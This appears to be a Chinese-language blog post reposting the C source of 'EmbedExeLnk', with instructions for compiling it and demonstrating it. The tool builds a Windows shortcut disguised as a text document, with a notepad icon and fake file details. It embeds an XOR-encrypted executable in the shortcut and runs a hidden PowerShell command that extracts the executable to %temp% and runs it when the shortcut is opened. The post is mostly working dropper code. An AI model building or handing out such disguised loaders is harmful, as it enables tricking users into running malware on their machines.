前言

转载自:EmbedExeLnk

使用方法

编译源码

注:报错的解决在下面

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
#include <stdio.h>
#include <windows.h>

#define INVALID_SET_FILE_POINTER 0xFFFFFFFF

#define HasName 0x00000004
#define HasArguments 0x00000020
#define HasIconLocation 0x00000040
#define IsUnicode 0x00000080
#define HasExpString 0x00000200
#define PreferEnvironmentPath 0x02000000

struct ShellLinkHeaderStruct
{
DWORD dwHeaderSize;
CLSID LinkCLSID;
DWORD dwLinkFlags;
DWORD dwFileAttributes;
FILETIME CreationTime;
FILETIME AccessTime;
FILETIME WriteTime;
DWORD dwFileSize;
DWORD dwIconIndex;
DWORD dwShowCommand;
WORD wHotKey;
WORD wReserved1;
DWORD dwReserved2;
DWORD dwReserved3;
};

struct EnvironmentVariableDataBlockStruct
{
DWORD dwBlockSize;
DWORD dwBlockSignature;
char szTargetAnsi[MAX_PATH];
wchar_t wszTargetUnicode[MAX_PATH];
};

DWORD CreateLinkFile(char *pExePath, char *pOutputLinkPath, char *pLinkIconPath, char *pLinkDescription)
{
HANDLE hLinkFile = NULL;
HANDLE hExeFile = NULL;
ShellLinkHeaderStruct ShellLinkHeader;
EnvironmentVariableDataBlockStruct EnvironmentVariableDataBlock;
DWORD dwBytesWritten = 0;
WORD wLinkDescriptionLength = 0;
wchar_t wszLinkDescription[512];
WORD wCommandLineArgumentsLength = 0;
wchar_t wszCommandLineArguments[8192];
WORD wIconLocationLength = 0;
wchar_t wszIconLocation[512];
BYTE bExeDataBuffer[1024];
DWORD dwBytesRead = 0;
DWORD dwEndOfLinkPosition = 0;
DWORD dwCommandLineArgsStartPosition = 0;
wchar_t *pCmdLinePtr = NULL;
wchar_t wszOverwriteSkipBytesValue[16];
wchar_t wszOverwriteSearchLnkFileSizeValue[16];
BYTE bXorEncryptValue = 0;
DWORD dwTotalFileSize = 0;

// set xor encrypt value
bXorEncryptValue = 0x77;

// create link file
hLinkFile = CreateFile(pOutputLinkPath, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
if (hLinkFile == INVALID_HANDLE_VALUE)
{
printf("Failed to create output file\n");
return 1;
}

// initialise link header
memset((void *)&ShellLinkHeader, 0, sizeof(ShellLinkHeader));
ShellLinkHeader.dwHeaderSize = sizeof(ShellLinkHeader);
CLSIDFromString(L"{00021401-0000-0000-C000-000000000046}", &ShellLinkHeader.LinkCLSID);
ShellLinkHeader.dwLinkFlags = HasArguments | HasExpString | PreferEnvironmentPath | IsUnicode | HasName | HasIconLocation;
ShellLinkHeader.dwFileAttributes = 0;
ShellLinkHeader.CreationTime.dwHighDateTime = 0;
ShellLinkHeader.CreationTime.dwLowDateTime = 0;
ShellLinkHeader.AccessTime.dwHighDateTime = 0;
ShellLinkHeader.AccessTime.dwLowDateTime = 0;
ShellLinkHeader.WriteTime.dwHighDateTime = 0;
ShellLinkHeader.WriteTime.dwLowDateTime = 0;
ShellLinkHeader.dwFileSize = 0;
ShellLinkHeader.dwIconIndex = 0;
ShellLinkHeader.dwShowCommand = SW_SHOWMINNOACTIVE;
ShellLinkHeader.wHotKey = 0;

// write ShellLinkHeader
if (WriteFile(hLinkFile, (void *)&ShellLinkHeader, sizeof(ShellLinkHeader), &dwBytesWritten, NULL) == 0)
{
// error
CloseHandle(hLinkFile);

return 1;
}

// set link description
memset(wszLinkDescription, 0, sizeof(wszLinkDescription));
mbstowcs(wszLinkDescription, pLinkDescription, (sizeof(wszLinkDescription) / sizeof(wchar_t)) - 1);
wLinkDescriptionLength = (WORD)wcslen(wszLinkDescription);

// write LinkDescriptionLength
if (WriteFile(hLinkFile, (void *)&wLinkDescriptionLength, sizeof(WORD), &dwBytesWritten, NULL) == 0)
{
// error
CloseHandle(hLinkFile);

return 1;
}

// write LinkDescription
if (WriteFile(hLinkFile, (void *)wszLinkDescription, wLinkDescriptionLength * sizeof(wchar_t), &dwBytesWritten, NULL) == 0)
{
// error
CloseHandle(hLinkFile);

return 1;
}

// set target command-line
memset(wszCommandLineArguments, 0, sizeof(wszCommandLineArguments));
_snwprintf(wszCommandLineArguments, (sizeof(wszCommandLineArguments) / sizeof(wchar_t)) - 1, L"%512S/c powershell -windowstyle hidden $lnkpath = Get-ChildItem *.lnk ^| where-object {$_.length -eq 0x00000000} ^| Select-Object -ExpandProperty Name; $file = gc $lnkpath -Encoding Byte; for($i=0; $i -lt $file.count; $i++) { $file[$i] = $file[$i] -bxor 0x%02X }; $path = '%%temp%%\\tmp' + (Get-Random) + '.exe'; sc $path ([byte[]]($file ^| select -Skip 000000)) -Encoding Byte; ^& $path;", "", bXorEncryptValue);
wCommandLineArgumentsLength = (WORD)wcslen(wszCommandLineArguments);

// write CommandLineArgumentsLength
if (WriteFile(hLinkFile, (void *)&wCommandLineArgumentsLength, sizeof(WORD), &dwBytesWritten, NULL) == 0)
{
// error
CloseHandle(hLinkFile);

return 1;
}

// store start of command-line arguments position
dwCommandLineArgsStartPosition = GetFileSize(hLinkFile, NULL);

// write CommandLineArguments
if (WriteFile(hLinkFile, (void *)wszCommandLineArguments, wCommandLineArgumentsLength * sizeof(wchar_t), &dwBytesWritten, NULL) == 0)
{
// error
CloseHandle(hLinkFile);

return 1;
}

// set link icon path
memset(wszIconLocation, 0, sizeof(wszIconLocation));
mbstowcs(wszIconLocation, pLinkIconPath, (sizeof(wszIconLocation) / sizeof(wchar_t)) - 1);
wIconLocationLength = (WORD)wcslen(wszIconLocation);

// write IconLocationLength
if (WriteFile(hLinkFile, (void *)&wIconLocationLength, sizeof(WORD), &dwBytesWritten, NULL) == 0)
{
// error
CloseHandle(hLinkFile);

return 1;
}

// write IconLocation
if (WriteFile(hLinkFile, (void *)wszIconLocation, wIconLocationLength * sizeof(wchar_t), &dwBytesWritten, NULL) == 0)
{
// error
CloseHandle(hLinkFile);

return 1;
}

// initialise environment variable data block
memset((void *)&EnvironmentVariableDataBlock, 0, sizeof(EnvironmentVariableDataBlock));
EnvironmentVariableDataBlock.dwBlockSize = sizeof(EnvironmentVariableDataBlock);
EnvironmentVariableDataBlock.dwBlockSignature = 0xA0000001;
strncpy(EnvironmentVariableDataBlock.szTargetAnsi, "%windir%\\system32\\cmd.exe", sizeof(EnvironmentVariableDataBlock.szTargetAnsi) - 1);
mbstowcs(EnvironmentVariableDataBlock.wszTargetUnicode, EnvironmentVariableDataBlock.szTargetAnsi, (sizeof(EnvironmentVariableDataBlock.wszTargetUnicode) / sizeof(wchar_t)) - 1);

// write EnvironmentVariableDataBlock
if (WriteFile(hLinkFile, (void *)&EnvironmentVariableDataBlock, sizeof(EnvironmentVariableDataBlock), &dwBytesWritten, NULL) == 0)
{
// error
CloseHandle(hLinkFile);

return 1;
}

// store end of link data position
dwEndOfLinkPosition = GetFileSize(hLinkFile, NULL);

// open target exe file
hExeFile = CreateFile(pExePath, GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
if (hExeFile == INVALID_HANDLE_VALUE)
{
printf("Failed to open exe file\n");

// error
CloseHandle(hLinkFile);

return 1;
}

// append exe file to the end of the lnk file
for (;;)
{
// read data from exe file
if (ReadFile(hExeFile, bExeDataBuffer, sizeof(bExeDataBuffer), &dwBytesRead, NULL) == 0)
{
// error
CloseHandle(hExeFile);
CloseHandle(hLinkFile);

return 1;
}

// check for end of file
if (dwBytesRead == 0)
{
break;
}

// "encrypt" the exe file data
for (DWORD i = 0; i < dwBytesRead; i++)
{
bExeDataBuffer[i] ^= bXorEncryptValue;
}

// write data to lnk file
if (WriteFile(hLinkFile, bExeDataBuffer, dwBytesRead, &dwBytesWritten, NULL) == 0)
{
// error
CloseHandle(hExeFile);
CloseHandle(hLinkFile);

return 1;
}
}

// close exe file handle
CloseHandle(hExeFile);

// store total file size
dwTotalFileSize = GetFileSize(hLinkFile, NULL);

// find the offset value of the number of bytes to skip in the command-line arguments
pCmdLinePtr = wcsstr(wszCommandLineArguments, L"select -Skip 000000)");
if (pCmdLinePtr == NULL)
{
// error
CloseHandle(hLinkFile);

return 1;
}
pCmdLinePtr += strlen("select -Skip ");

// move the file pointer back to the "000000" value in the command-line arguments
if (SetFilePointer(hLinkFile, dwCommandLineArgsStartPosition + (DWORD)((BYTE *)pCmdLinePtr - (BYTE *)wszCommandLineArguments), NULL, FILE_BEGIN) == INVALID_SET_FILE_POINTER)
{
// error
CloseHandle(hLinkFile);

return 1;
}

// overwrite link file size
memset(wszOverwriteSkipBytesValue, 0, sizeof(wszOverwriteSkipBytesValue));
_snwprintf(wszOverwriteSkipBytesValue, (sizeof(wszOverwriteSkipBytesValue) / sizeof(wchar_t)) - 1, L"%06u", dwEndOfLinkPosition);
if (WriteFile(hLinkFile, (void *)wszOverwriteSkipBytesValue, wcslen(wszOverwriteSkipBytesValue) * sizeof(wchar_t), &dwBytesWritten, NULL) == 0)
{
// error
CloseHandle(hLinkFile);

return 1;
}

// find the offset value of the total lnk file length in the command-line arguments
pCmdLinePtr = wcsstr(wszCommandLineArguments, L"_.length -eq 0x00000000}");
if (pCmdLinePtr == NULL)
{
// error
CloseHandle(hLinkFile);

return 1;
}
pCmdLinePtr += strlen("_.length -eq ");

// move the file pointer back to the "0x00000000" value in the command-line arguments
if (SetFilePointer(hLinkFile, dwCommandLineArgsStartPosition + (DWORD)((BYTE *)pCmdLinePtr - (BYTE *)wszCommandLineArguments), NULL, FILE_BEGIN) == INVALID_SET_FILE_POINTER)
{
// error
CloseHandle(hLinkFile);

return 1;
}

// overwrite link file size
memset(wszOverwriteSearchLnkFileSizeValue, 0, sizeof(wszOverwriteSearchLnkFileSizeValue));
_snwprintf(wszOverwriteSearchLnkFileSizeValue, (sizeof(wszOverwriteSearchLnkFileSizeValue) / sizeof(wchar_t)) - 1, L"0x%08X", dwTotalFileSize);
if (WriteFile(hLinkFile, (void *)wszOverwriteSearchLnkFileSizeValue, wcslen(wszOverwriteSearchLnkFileSizeValue) * sizeof(wchar_t), &dwBytesWritten, NULL) == 0)
{
// error
CloseHandle(hLinkFile);

return 1;
}

// close output file handle
CloseHandle(hLinkFile);

return 0;
}

int main(int argc, char *argv[])
{
char *pExePath = NULL;
char *pOutputLinkPath = NULL;

printf("EmbedExeLnk - www.x86matthew.com\n\n");

if (argc != 3)
{
printf("Usage: %s [exe_path] [output_lnk_path]\n\n", argv[0]);

return 1;
}

// get params
pExePath = argv[1];
pOutputLinkPath = argv[2];

// create a link file containing the target exe
if (CreateLinkFile(pExePath, pOutputLinkPath, "%windir%\\system32\\notepad.exe", "Type: Text Document\nSize: 5.23 KB\nDate modified: 01/02/2020 11:23") != 0)
{
printf("Error\n");

return 1;
}

printf("Finished\n");

return 0;
}

解决报错

项目->属性->高级->字符集改为未设置

image-20230725230540498

项目->属性->C/C++->语言->符合模式改为

image-20230725225625545

项目->属性->C/C++->语言->预处理器->预处理器定义->编辑->新增一行:_CRT_SECURE_NO_WARNINGS

image-20230725230332316

image-20230725230441535

生成lnk文件

在工程文件目录的Debug文件夹找到生成的exe文件

image-20230725230758678

Win + R,输入%temp%打开存放临时文件的目录

image-20230725231502181

点击修改日期,将文件改为以创建时间排序,方便观察效果

image-20230725231522880

打开cmd,定位到生成的exe文件目录,输入指令

1
编译生成的文件名.exe [需要捆绑的exe文件地址] [lnk文件名]

image-20230725232113455

在exe目录下生成lnk文件,双击lnk文件,捆绑的exe文件执行成功并且以随机数命名保存在了%temp%目录下

image-20230725231554077